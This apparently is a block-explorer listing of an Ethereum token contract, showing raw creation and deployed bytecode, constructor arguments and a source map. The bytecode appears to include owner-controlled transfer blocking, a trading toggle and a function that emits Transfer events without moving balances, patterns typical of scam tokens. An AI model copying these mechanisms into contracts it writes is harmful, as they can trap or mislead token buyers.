08181036000830152611c9b8184611c48565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611cce82611ca3565b9050919050565b611cde81611cc3565b82525050565b6000602082019050611cf96000830184611cd5565b92915050565b600080fd5b600080fd5b611d1281611cc3565b8114611d1d57600080fd5b50565b600081359050611d2f81611d09565b92915050565b6000819050919050565b611d4881611d35565b8114611d5357600080fd5b50565b600081359050611d6581611d3f565b92915050565b60008060408385031215611d8257611d81611cff565b5b6000611d9085828601611d20565b9250506020611da185828601611d56565b9150509250929050565b60008115159050919050565b611dc081611dab565b82525050565b6000602082019050611ddb6000830184611db7565b92915050565b611dea81611d35565b82525050565b6000602082019050611e056000830184611de1565b92915050565b600080600060608486031215611e2457611e23611cff565b5b6000611e3286828701611d20565b9350506020611e4386828701611d20565b9250506040611e5486828701611d56565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611e8357611e82611e5e565b5b8235905067ffffffffffffffff811115611ea057611e9f611e63565b5b602083019150836020820283011115611ebc57611ebb611e68565b5b9250929050565b600080600060408486031215611edc57611edb611cff565b5b600084013567ffffffffffffffff811115611efa57611ef9611d04565b5b611f0686828701611e6d565b93509350506020611f1986828701611d56565b9150509250925092565b600060ff82169050919050565b611f3981611f23565b82525050565b6000602082019050611f546000830184611f30565b92915050565b6000611f6582611cc3565b9050919050565b611f7581611f5a565b8114611f8057600080fd5b50565b600081359050611f9281611f6c565b92915050565b60008060408385031215611faf57611fae611cff565b5b6000611fbd85828601611d56565b9250506020611fce85828601611f83565b9150509250929050565b600060208284031215611fee57611fed611cff565b5b6000611ffc84828501611d20565b91505092915050565b61200e81611dab565b811461201957600080fd5b50565b60008135905061202b81612005565b92915050565b60008060006040848603121561204a57612049611cff565b5b600084013567ffffffffffffffff81111561206857612067611d04565b5b61207486828701611e6d565b935093505060206120878682870161201c565b9150509250925092565b600063ffffffff82169050919050565b6120aa81612091565b81146120b557600080fd5b50565b6000813590506120c7816120a1565b92915050565b600080604083850312156120e4576120e3611cff565b5b60006120f285828601611d20565b9250506020612103858286016120b8565b9150509250929050565b6000806040838503121561212457612123611cff565b5b600061213285828601611d20565b925050602061214385828601611d20565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061219457607f821691505b6020821081036121a7576121a661214d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121e782611d35565b91506121f283611d35565b925082820390508181111561220a576122096121ad565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061224a82611d35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361227c5761227b6121ad565b5b600182019050919050565b600061229282611d35565b915061229d83611d35565b92508282019050808211156122b5576122b46121ad565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b60006122f1600e83611bfc565b91506122fc826122bb565b602082019050919050565b60006020820190508181036000830152612320816122e4565b9050919050565b600060408201905061233c6000830185611cd5565b6123496020830184611de1565b9392505050565b60008151905061235f81612005565b92915050565b60006020828403121561237b5761237a611cff565b5b600061238984828501612350565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006123c8600f83611bfc565b91506123d382612392565b602082019050919050565b600060208201905081810360008301526123f7816123bb565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061245a602583611bfc565b9150612465826123fe565b604082019050919050565b600060208201905081810360008301526124898161244d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006124ec602683611bfc565b91506124f782612490565b604082019050919050565b6000602082019050818103600083015261251b816124df565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061257e602483611bfc565b915061258982612522565b604082019050919050565b600060208201905081810360008301526125ad81612571565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612610602283611bfc565b915061261b826125b4565b604082019050919050565b6000602082019050818103600083015261263f81612603565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061267c601d83611bfc565b915061268782612646565b602082019050919050565b600060208201905081810360008301526126ab8161266f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061270e602583611bfc565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006127a0602383611bfc565b91506127ab82612744565b604082019050919050565b600060208201905081810360008301526127cf81612793565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612832602983611bfc565b915061283d826127d6565b604082019050919050565b6000602082019050818103600083015261286181612825565b9050919050565b50565b6000612878600083611bfc565b915061288382612868565b600082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128e4602083611bfc565b91506128ef826128ae565b602082019050919050565b60006020820190508181036000830152612913816128d7565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612950601b83611bfc565b915061295b8261291a565b602082019050919050565b6000602082019050818103600083015261297f81612943565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220147f97263a792f2662b0386e013fbcbe5631ab397f36087725bc4cb2c16d136d64736f6c634300081300330000000000000000000000003fce0d75e9f479abfd4ee168e399dbf6bc15aa0d0000000000000000000000002587472f48c9aeefe8d7b1aa45214e892ef919db

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636cd20f5e1161011a5780639c9b4cdb116100ad578063c2b7bbb61161007c578063c2b7bbb6146105f9578063d5abeb0114610615578063dd62ed3e14610633578063ebad8f1614610663578063f2fde38b1461066d57610206565b80639c9b4cdb1461055d578063a457c2d71461057b578063a9059cbb146105ab578063b7f4e899146105db57610206565b80637c70f3bf116100e95780637c70f3bf146104d35780638d981e36146105035780638da5cb5b1461052157806395d89b411461053f57610206565b80636cd20f5e1461044d57806370a082311461047d578063715018a6146104ad57806373fa7ddb146104b757610206565b806326ededb81161019d57806342a5880c1161016c57806342a5880c146103a7578063486d910f146103c557806349bd5a5e146103e15780634ed9428e146103ff5780636854870e1461041d57610206565b806326ededb81461031f5780632d3e69ea1461033b578063313ce56714610359578063395093511461037757610206565b806318160ddd116101d957806318160ddd1461029557806319e99550146102b357806321f83c43146102d157806323b872dd146102ef57610206565b806306fdde031461020b5780630754617214610229578063095ea7b31461024757806312fa6feb14610277575b600080fd5b610213610689565b6040516102209190611c81565b60405180910390f35b61023161071b565b60405161023e9190611ce4565b60405180910390f35b610261600480360381019061025c9190611d6b565b610741565b60405161026e9190611dc6565b60405180910390f35b61027f610764565b60405161028c9190611dc6565b60405180910390f35b61029d610777565b6040516102aa9190611df0565b60405180910390f35b6102bb610781565b6040516102c89190611df0565b60405180910390f35b6102d96107b4565b6040516102e69190611df0565b60405180910390f35b61030960048036038101906103049190611e0b565b6107ba565b6040516103169190611dc6565b60405180910390f35b61033960048036038101906103349190611ec3565b6107e9565b005b6103436108c6565b6040516103509190611dc6565b60405180910390f35b6103616108dd565b60405161036e9190611f3f565b60405180910390f35b610391600480360381019061038c9190611d6b565b6108e6565b60405161039e9190611dc6565b60405180910390f35b6103af61091d565b6040516103bc9190611df0565b60405180910390f35b6103df60048036038101906103da9190611f98565b610941565b005b6103e9610a6e565b6040516103f69190611ce4565b60405180910390f35b610407610a94565b6040516104149190611df0565b60405180910390f35b61043760048036038101906104329190611fd8565b610ab8565b6040516104449190611dc6565b60405180910390f35b61046760048036038101906104629190611fd8565b610ad8565b6040516104749190611dc6565b60405180910390f35b61049760048036038101906104929190611fd8565b610b2e565b6040516104a49190611df0565b60405180910390f35b6104b5610b77565b005b6104d160048036038101906104cc9190612031565b610b8b565b005b6104ed60048036038101906104e891906120cd565b610c38565b6040516104fa9190611dc6565b60405180910390f35b61050b610c67565b6040516105189190611ce4565b60405180910390f35b610529610c8d565b6040516105369190611ce4565b60405180910390f35b610547610cb7565b6040516105549190611c81565b60405180910390f35b610565610d49565b6040516105729190611ce4565b60405180910390f35b61059560048036038101906105909190611d6b565b610d6d565b6040516105a29190611dc6565b60405180910390f35b6105c560048036038101906105c09190611d6b565b610de4565b6040516105d29190611dc6565b60405180910390f35b6105e3610e07565b6040516105f09190611df0565b60405180910390f35b610613600480360381019061060e9190611fd8565b610e2b565b005b61061d610e77565b60405161062a9190611df0565b60405180910390f35b61064d6004803603810190610648919061210d565b610e9b565b60405161065a9190611df0565b60405180910390f35b61066b610f22565b005b61068760048036038101906106829190611fd8565b610f83565b005b6060600880546106989061217c565b80601f01602080910402602001604051908101604052809291908181526020018280546106c49061217c565b80156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061074c611006565b905061075981858561100e565b600191505092915050565b600e60009054906101000a900460ff1681565b6000600754905090565b60007f0000000000000000000000000000000000000000000000000000000001348ebf436107af91906121dc565b905090565b61070881565b6000806107c5611006565b90506107d28582856111d7565b6107dd858585611263565b60019150509392505050565b6107f1611927565b60005b838390508110156108c05783838281811061081257610811612210565b5b90506020020160208101906108279190611fd8565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a59190611df0565b60405180910390a380806108b89061223f565b9150506107f4565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b6000806108f1611006565b90506109128185856109038589610e9b565b61090d9190612287565b61100e565b600191505092915050565b7f00000000000000000000000000000000000000000000000000000000668476bb81565b61096e33600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107ba565b6109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490612307565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b81526004016109e8929190612327565b6020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190612365565b610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a61906123de565b60405180910390fd5b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b7f611927565b610b8960006119a5565b565b610b93611927565b60005b83839050811015610c32578160036000868685818110610bb957610bb8612210565b5b9050602002016020810190610bce9190611fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c2a9061223f565b915050610b96565b50505050565b600d6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610cc69061217c565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf29061217c565b8015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b5050505050905090565b7f0000000000000000000000003fce0d75e9f479abfd4ee168e399dbf6bc15aa0d81565b600080610d78611006565b90506000610d868286610e9b565b905083811015610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc290612470565b60405180910390fd5b610dd8828686840361100e565b60019250505092915050565b600080610def611006565b9050610dfc818585611263565b600191505092915050565b7f0000000000000000000000000000000000000000000000000000000001348ebf81565b610e33611927565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2a611927565b60011515600660009054906101000a900460ff16151503610f65576000600660006101000a81548160ff021916908315150217905550610f81565b6001600660006101000a81548160ff0219169083151502179055505b565b610f8b611927565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612502565b60405180910390fd5b611003816119a5565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361107d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107490612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390612626565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ca9190611df0565b60405180910390a3505050565b60006111e38484610e9b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461125d578181101561124f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124690612692565b60405180910390fd5b61125c848484840361100e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612724565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906127b6565b60405180910390fd5b60008111611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612848565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561141a5760008114611419576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114109061288e565b60405180910390fd5b5b60011515600660009054906101000a900460ff161515148061146e575061143f610c8d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114ab575061147c610c8d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118c057600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115535750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561171157611563838383611a6b565b6115cf8160405180606001604052806026815260200161298760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a709092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117049190611df0565b60405180910390a36118bb565b61177d8160405180606001604052806026815260200161298760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a709092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b29190611df0565b60405180910390a35b611917565b60011515600660009054906101000a900460ff16151514611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061288e565b60405180910390fd5b5b611922838383611b32565b505050565b61192f611006565b73ffffffffffffffffffffffffffffffffffffffff1661194d611b37565b73ffffffffffffffffffffffffffffffffffffffff16146119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a906128fa565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000838311158290611ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaf9190611c81565b60405180910390fd5b5060008385611ac791906121dc565b9050809150509392505050565b6000808284611ae39190612287565b905083811015611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90612966565b60405180910390fd5b8091505092915050565b505050565b600080611b42611b4b565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bca57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611bec565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c2b578082015181840152602081019050611c10565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c5382611bf1565b611c5d8185611bfc565b9350611c6d818560208601611c0d565b611c7681611c37565b840191505092915050565b60006020820190508181036000830152611c9b8184611c48565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611cce82611ca3565b9050919050565b611cde81611cc3565b82525050565b6000602082019050611cf96000830184611cd5565b92915050565b600080fd5b600080fd5b611d1281611cc3565b8114611d1d57600080fd5b50565b600081359050611d2f81611d09565b92915050565b6000819050919050565b611d4881611d35565b8114611d5357600080fd5b50565b600081359050611d6581611d3f565b92915050565b60008060408385031215611d8257611d81611cff565b5b6000611d9085828601611d20565b9250506020611da185828601611d56565b9150509250929050565b60008115159050919050565b611dc081611dab565b82525050565b6000602082019050611ddb6000830184611db7565b92915050565b611dea81611d35565b82525050565b6000602082019050611e056000830184611de1565b92915050565b600080600060608486031215611e2457611e23611cff565b5b6000611e3286828701611d20565b9350506020611e4386828701611d20565b9250506040611e5486828701611d56565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611e8357611e82611e5e565b5b8235905067ffffffffffffffff811115611ea057611e9f611e63565b5b602083019150836020820283011115611ebc57611ebb611e68565b5b9250929050565b600080600060408486031215611edc57611edb611cff565b5b600084013567ffffffffffffffff811115611efa57611ef9611d04565b5b611f0686828701611e6d565b93509350506020611f1986828701611d56565b9150509250925092565b600060ff82169050919050565b611f3981611f23565b82525050565b6000602082019050611f546000830184611f30565b92915050565b6000611f6582611cc3565b9050919050565b611f7581611f5a565b8114611f8057600080fd5b50565b600081359050611f9281611f6c565b92915050565b60008060408385031215611faf57611fae611cff565b5b6000611fbd85828601611d56565b9250506020611fce85828601611f83565b9150509250929050565b600060208284031215611fee57611fed611cff565b5b6000611ffc84828501611d20565b91505092915050565b61200e81611dab565b811461201957600080fd5b50565b60008135905061202b81612005565b92915050565b60008060006040848603121561204a57612049611cff565b5b600084013567ffffffffffffffff81111561206857612067611d04565b5b61207486828701611e6d565b935093505060206120878682870161201c565b9150509250925092565b600063ffffffff82169050919050565b6120aa81612091565b81146120b557600080fd5b50565b6000813590506120c7816120a1565b92915050565b600080604083850312156120e4576120e3611cff565b5b60006120f285828601611d20565b9250506020612103858286016120b8565b9150509250929050565b6000806040838503121561212457612123611cff565b5b600061213285828601611d20565b925050602061214385828601611d20565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061219457607f821691505b6020821081036121a7576121a661214d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121e782611d35565b91506121f283611d35565b925082820390508181111561220a576122096121ad565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061224a82611d35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361227c5761227b6121ad565b5b600182019050919050565b600061229282611d35565b915061229d83611d35565b92508282019050808211156122b5576122b46121ad565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b60006122f1600e83611bfc565b91506122fc826122bb565b602082019050919050565b60006020820190508181036000830152612320816122e4565b9050919050565b600060408201905061233c6000830185611cd5565b6123496020830184611de1565b9392505050565b60008151905061235f81612005565b92915050565b60006020828403121561237b5761237a611cff565b5b600061238984828501612350565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006123c8600f83611bfc565b91506123d382612392565b602082019050919050565b600060208201905081810360008301526123f7816123bb565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061245a602583611bfc565b9150612465826123fe565b604082019050919050565b600060208201905081810360008301526124898161244d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006124ec602683611bfc565b91506124f782612490565b604082019050919050565b6000602082019050818103600083015261251b816124df565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061257e602483611bfc565b915061258982612522565b604082019050919050565b600060208201905081810360008301526125ad81612571565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612610602283611bfc565b915061261b826125b4565b604082019050919050565b6000602082019050818103600083015261263f81612603565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061267c601d83611bfc565b915061268782612646565b602082019050919050565b600060208201905081810360008301526126ab8161266f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061270e602583611bfc565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006127a0602383611bfc565b91506127ab82612744565b604082019050919050565b600060208201905081810360008301526127cf81612793565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612832602983611bfc565b915061283d826127d6565b604082019050919050565b6000602082019050818103600083015261286181612825565b9050919050565b50565b6000612878600083611bfc565b915061288382612868565b600082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128e4602083611bfc565b91506128ef826128ae565b602082019050919050565b60006020820190508181036000830152612913816128d7565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612950601b83611bfc565b915061295b8261291a565b602082019050919050565b6000602082019050818103600083015261297f81612943565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220147f97263a792f2662b0386e013fbcbe5631ab397f36087725bc4cb2c16d136d64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000003fce0d75e9f479abfd4ee168e399dbf6bc15aa0d0000000000000000000000002587472f48c9aeefe8d7b1aa45214e892ef919db

-----Decoded View---------------
Arg [0] : initialLPAddress (address): 0x3FcE0D75e9F479AbFd4EE168e399dBF6bc15aA0d
Arg [1] : distributor_ (address): 0x2587472F48c9AEEFe8d7B1AA45214E892Ef919db

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000003fce0d75e9f479abfd4ee168e399dbf6bc15aa0d
Arg [1] : 0000000000000000000000002587472f48c9aeefe8d7b1aa45214e892ef919db


Deployed Bytecode Sourcemap

560:2831:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2523:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;596:21:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4882:201:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1397:17:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3651:108:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2564:109:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1299:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5663:261:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3064:223:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2465:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3494:92:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6333:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;889:42:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2071:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1129:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;678:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1716:74:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2909:147:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3822:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1932:103:6;;;:::i;:::-;;2681:220:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1218:74;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;626:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1296:87:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2742:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1091:31:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7074:436:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4155:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;998:38:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3295:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;758:67;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4411:151:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2319:138:2;;;:::i;:::-;;:201:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2523:100:1;2577:13;2610:5;2603:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2523:100;:::o;596:21:2:-;;;;;;;;;;;;;:::o;4882:201:1:-;4965:4;4982:13;4998:12;:10;:12::i;:::-;4982:28;;5021:32;5030:5;5037:7;5046:6;5021:8;:32::i;:::-;5071:4;5064:11;;;4882:201;;;;:::o;1397:17:2:-;;;;;;;;;;;;;:::o;3651:108:1:-;3712:7;3739:12;;3732:19;;3651:108;:::o;2564:109:2:-;2610:7;2652:13;2637:12;:28;;;;:::i;:::-